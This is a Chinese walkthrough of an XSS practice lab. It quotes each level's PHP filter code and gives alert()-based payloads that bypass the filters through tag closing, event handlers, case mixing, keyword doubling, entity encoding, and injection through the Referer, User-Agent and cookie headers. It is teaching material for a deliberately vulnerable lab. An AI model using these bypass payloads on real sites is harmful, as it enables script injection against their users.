XSS-lab通过教程

Level-1

payload:http://192.168.33.222:40577/level1.php?name=<script>alert(123)</script>

Level-2

  1. 我们随便输入123,查看闭合方式

我们可以构造闭合input标签,如何加入script语句

payload:"><script>alert(123)</script>

Level-3

  1. 首先我们用第二关的payload去尝试,发现显示是一样的,但是没有执行我们的js代码

  1. 查看源码
<input name=keyword  value='".htmlspecialchars($str)."'>

我们发现使用了htmlspecialchars方法,它的作用是将特殊字符转换为html实体。那么什么是HTML实体呢?

说白了就是HTML为了防止特殊符号。例如:

特殊字符 转化后
& &
" "
< <
> >

这时候我们的思路就尽量要绕开使用新标签,那么浏览器还有一些事件可以执行js代码,如onfocus,onblur等,下面简单介绍一下关于鼠标事件的一些能引用js代码的函数:

属性 描述
onclick 当用户点击某个对象时调用的事件句柄
onmouseenter 当鼠标指针移动到元素上时触发
onmouseover 鼠标移到某元素之上

payload:' onclick ='javascript:alert(123)'//

注意:我们用的是点击事件,所以我们输入payload之后鼠标还得点击一下输入框才能触发代码

level-4

首先我们发现前端页面跟第2关一样,没什么区别,还是这样的

源码分析

# 我们可以看到首先接收参数,然后将<>都替换成了空
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
<input name=keyword value="'.$str3.'">

所有说我们的payload里面不能有<>这两个符号,<script>就不能用了,还是用第三关的payload,只不过闭合方式不一样,这一关是"

payload:" onclick='javascript:alert(123)'//

level-5

首先还是测试123看看闭合,发现跟第二关依然一样,接下来我们看看源码吧

源码分析

# 获取输入的值,赋给$str变量
$str = strtolower($_GET["keyword"]);
# 将<script替换成<scr_ipt
$str2=str_replace("<script","<scr_ipt",$str);
# 将 on 替换成 o_n
$str3=str_replace("on","o_n",$str2);
<input name=keyword value="'.$str3.'">

这一关我们可以看到带有 <script> 和 on 标签的都没法用了,那么onclick自然用不了了。我们可以尝试构造一个 a 标签,具体payload如下:

"></input><a href='javascript:alert(123)'>ads</a>

level-6

首先还是测试123看看闭合,发现跟第二关依然一样,接下来我们看看源码吧

源码分析

# 替换了<script,on,src,data,href
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
<input name=keyword value="'.$str6.'">

虽说这一关过滤了上面这些字符串,但是我们可以换大写或者大小混写就可以绕过了,还是用第五关的payload:

"></input><a Href='javascript:alert(123)'>ads</a>

level-7

首先还是测试123看看闭合,发现跟第二关依然一样,接下来我们看看源码吧

源码分析

# 将输入的字符全部替换成小写,然后将下面这些字符串替换成空
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
<input name=keyword value="'.$str6.'">

所以这一关我们就没法用大写或者大小混写绕过了,但是我们可以用双写绕过

payload:"><scriscriptpt>alert(123)</scriscriptpt>

level-8

首先还是测试123看看闭合,发现跟第二关依然一样,接下来我们看看源码吧

源码分析

# 将输入的关键字替换成小写,然后过滤下面的字符串,最后进行html实体转义
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
<input name=keyword value="'.htmlspecialchars($str).'">

所以说这一关用不了 <script> 标签了,我们输入第二关的payload试试,然后查看网页源码发现

发现上面value的标签都被html实体化了,下面href里面的内容被替换了,那里就是我们输入的内容,我们直接输入javascript:alert(123)到a标签的href属性中就可以触发xss,我们发现直接输入的话script会被_下划线隔开,所以我们进行html编码输入:

payload:

javascript:alert(1)

level-9

首先我们还是拿第二关的payload测试一下,发现不一样的,现在变成输出指定的字符串了

居然说输入的不合法,那么我们输入一个合法的看看是什么样

payload:http://www.baidu.com

再加点东西动动手脚看看

payload:javascript:alert(123)//http://www.baidu.com

发现还是不行,被替换了,编码输入在看看

payload:

javascript:alert(123)//http://www.baidu.com

level-10

源码分析

$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">

这个题跟前面的都不一样,首先查看源码发现了三个隐藏的input标签

那么我们根据他们的name构造传值,改变他们的type属性,看谁能显示出来,谁就能被输入,我们查看源码发现最后一位显示出来了。

t_link=" type='text'>//&t_history=" type='text'>//&t_sort=" type='text'>//

payload:&t_sort=" type='text' onclick='javascript:alert(1)'>//

level-11

首先我们查看一下源码,发现又有四个标签隐藏了

还是一样的测试一下那个标签能够被显示出来,说明它能够接收数据

payload:

t_link=" type='text'%3E//&t_history=" type='text'%3E//&t_sort=" type='text'%3E//&t_ref=" typr='text'%3E//

发现还是t_sort,只不过"和>被过滤了,再仔细看看,发现上面t_ref的值咋变了,查看源码发现原来这个题的触发点在t_ref

源码分析

$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">

我们发现他是接收http头部的REFERER字段的值,然后经过过滤>和<之后插入了t_ref的值之中,所以我们抓包修改referer字段的值触发xss

payload:" type='text' onclick='javascript:alert(1)'>//

level-12

首先看看源码,发现又有四个隐藏标签

然后还发现t_ua居然有值,没猜错的话这个题触发点应该在uagent,我们看看源码

源码分析

$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua" value="'.$str33.'" type="hidden">

好的,看了源码之后,发现这个题跟第11关的区别就是这个题的触发点在Uagent,我们抓包传入payload:

" type='text' onclick='javascript:alert(1)'>//

level-13

首先看看源码发现又有四个隐藏字段

然后测试一下看哪个能够显示出来说明能够输入,我们发现t_sort被过滤了,然后就没有了

按这尿性,不用猜也知道这一关触发点肯定在t_cook,我们看看源码

源码分析

$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook" value="'.$str33.'" type="hidden">

果然触发点在cookie的user字段,不说了,直接抓包打payload

" type='text' onclick='javascript:alert(1)'>//

level-14

xswl,md一点头绪没有,上网一查题有问题,溜了溜了!

level-15

不说了,先看一波源码

啥信息没看着,就看到个这个,上万能的百度搜一下,还真搜到用法了,包含外部html文件

话说包含外部文件传参点是啥,想不出来,再看一波源码原来是src

$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';

说是包含外部html文件,那我们拿第一关的网址试试

发现<和>被html实体化了,而且这一关没有任何点击的地方,所以我们只能用onerror方法,构造一个img标签,payload:?src='http://xss/level1.php?name=<img src=asd onerror=alert(1)>'

level-16

源码分析

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace(" ","&nbsp;",$str4);
echo "<center>".$str5."</center>";

我们发现过滤了script,空格,/,所以我们尝试加个a标签,空格用回车编码代替,点击图片过关

payload:<a%0D%0Aonclick='alert(1)'>

level 17

不会了,后面等我升级了在来填这个坑吧!


XSS-lab通过教程🐶的更多相关文章

  1. XSS高级实战教程

    1.[yueyan科普系列]XSS跨站脚本攻击--yueyan 2.存储型XSS的成因及挖掘方法--pkav 3.跨站脚本攻击实例解析--泉哥 4.XSS高级实战教程--心伤的瘦子 5.XSS利用与挖 ...

  2. DVWA XSS (Reflected) 通关教程

    XSS 介绍XSS,全称Cross Site Scripting,即跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,需 ...

  3. DVWA XSS (Stored) 通关教程

    Stored Cross Site Scripting 存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户 ...

  4. DVWA XSS (DOM) 通关教程

    DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容.结构以及样式. DOM型XSS其实是一种特殊类型的反射型XSS,它是 ...

  5. Web安全XSS

    Web安全XSS 简单的反射型XSS钓鱼演示 </form> <script> function hack(){ XSSImage=new Image; XSSImage.sr ...

  6. 第一次在新西兰组织技术社区活动:Monkeyfest2018

    从3月份登陆到现在,转眼间已经8个月了.在6个月的时候我就想写篇文总结下近期的一些状况,一直拖到现在.因为近期一直在筹备我第一次社区活动——Monkeyfest 2018,占用了比较多的时间.这是一个 ...

  7. 2017-2018-2 20155315《网络对抗技术》Exp8 :Web基础

    实验目的 理解HTML,学会Web前端.Web后端和数据库编程及SQL注入.XSS攻击测试 教程 实验内容 操作程序规律 运行脚本或可执行文件 查看配置文件 出错找日志 Web前端HTML 能正常安装 ...

  8. 2018-2019-2 网络对抗技术 20165230 Exp8 Web基础

    目录 实验目的 实验内容 实验步骤 (一)Web前端HTML Apache HTML编程 (二) Web前端javascipt 基础知识理解 JavaScript编程 (三)Web后端:MySQL基础 ...

  9. 有关XSS的一个系列教程

    在乌云发现了一个有关XSS的教程,目前有21篇,够我慢慢儿学的了. 这个系列教程的地址:http://www.wooyun.org/whitehats/心伤的瘦子/page/1 几个常见的语句 < ...

  10. [视频]K8飞刀 WordPress XSS添加管理员 & GetShell 教程

    [视频]K8飞刀 WordPress  XSS添加管理员 & GetShell 教程 https://pan.baidu.com/s/1hq4LsmK

随机推荐

  1. 网络安全:关于SecOC及测试开发实践简介

    前言 我们知道,在车载网络中,大部分的数据都是以明文方式广播发送且无认证接收.这种方案在以前有着低成本.高性能的优势,但是随着当下智能网联化的进程,这种方案所带来的安全问题越来越被大家所重视. 为了提 ...

  2. [BUUCTF]PWN5——ciscn_2019_n_1

    [BUUCTF]PWN5--ciscn_2019_n_1 题目网址:https://buuoj.cn/challenges#ciscn_2019_n_1 步骤: 例行检查,64位,开启了nx保护 nc ...

  3. C# ASP.NET WebApi 跨域设置

    概述 前后端分离开发模式,一定会遇到跨域的问题.这里收集了2种 C# Asp.Net webapi 相关的跨域解决方案,方便后续查找参考. 2021/10/28 更新: 有更加简单高效的方式推荐< ...

  4. SpringBoot内嵌ftp服务

    引入依赖 <!-- https://mvnrepository.com/artifact/org.apache.ftpserver/ftpserver-core --> <depen ...

  5. nim_duilib(7)之TreeView

    introduction 更多控件用法,请参考 here 和 源码. 本文的代码基于这里 xml文件添加代码 基于上一篇, 继续向basic.xml中添加下面关于TreeView的代码. xml完整源 ...

  6. 【LeetCode】1086. High Five 解题报告(C++)

    作者: 负雪明烛 id: fuxuemingzhu 个人博客:http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 大根堆 日期 题目地址:https://leetcod ...

  7. 【LeetCode】516. Longest Palindromic Subsequence 最长回文子序列

    作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题思路 代码 刷题心得 日期 题目地址:https://le ...

  8. Pikachu漏洞练习-SQL-inject(三)

  9. @Transactional 失效

    1.Transactional注解标注方法修饰符为非public时,@Transactional注解将会不起作用. @Transactional    void insertTestWrongModi ...

  10. 第二十三个知识点:写一个实现蒙哥马利算法的C程序

    第二十三个知识点:写一个实现蒙哥马利算法的C程序 这次博客我将通过对蒙哥马利算法的一个实际的实现,来补充我们上周蒙哥马利算法的理论方面.这个用C语言实现的蒙哥马利算法,是为一个位数为64的计算机编写的 ...